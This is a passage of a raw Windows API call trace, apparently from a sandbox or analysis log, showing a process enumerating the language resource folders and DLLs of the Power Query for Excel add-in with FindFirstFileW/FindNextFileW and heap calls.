ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.993] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.994] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.994] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.994] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a3ee57, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a3ee57, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0090.994] FindClose (in: hFindFile=0x3b8b6c8 | out: hFindFile=0x3b8b6c8) returned 1 [0090.995] GetProcessHeap () returned 0x11a0000 [0090.995] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.995] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0090.995] GetProcessHeap () returned 0x11a0000 [0090.995] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\sv\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0090.999] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa25d2ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa2f5c0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.999] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.000] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0091.000] FindClose (in: hFindFile=0x3b8b648 | out: hFindFile=0x3b8b648) returned 1 [0091.001] GetProcessHeap () returned 0x11a0000 [0091.001] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mvc.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0091.001] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0091.001] GetProcessHeap () returned 0x11a0000 [0091.001] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\th\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0091.003] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1860d8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1860d8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x46040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.003] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.004] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0091.004] FindClose (in: hFindFile=0x3b8b448 | out: hFindFile=0x3b8b448) returned 1 [0091.005] GetProcessHeap () returned 0x11a0000 [0091.005] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.005] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0091.005] GetProcessHeap () returned 0x11a0000 [0091.005] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x402b37e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x402b37e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4110038, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8b74ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.008] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0091.008] FindClose (in: hFindFile=0x3b8b5c8 | out: hFindFile=0x3b8b5c8) returned 1 [0091.009] GetProcessHeap () returned 0x11a0000 [0091.009] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.009] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0091.009] GetProcessHeap () returned 0x11a0000 [0091.009] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0091.012] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.012] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0091.013] FindNextFileW (in: hFindFile=0x3b8b008, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0091.013] FindClose (in: hFindFile=0x3b8b008 | out: hFindFile=0x3b8b008) returned 1 [0091.013] GetProcessHeap () returned 0x11a0000 [0091.013] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.014] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0091.014] GetProcessHeap () returned 0x11a0000 [0091.014] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0091.016] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, 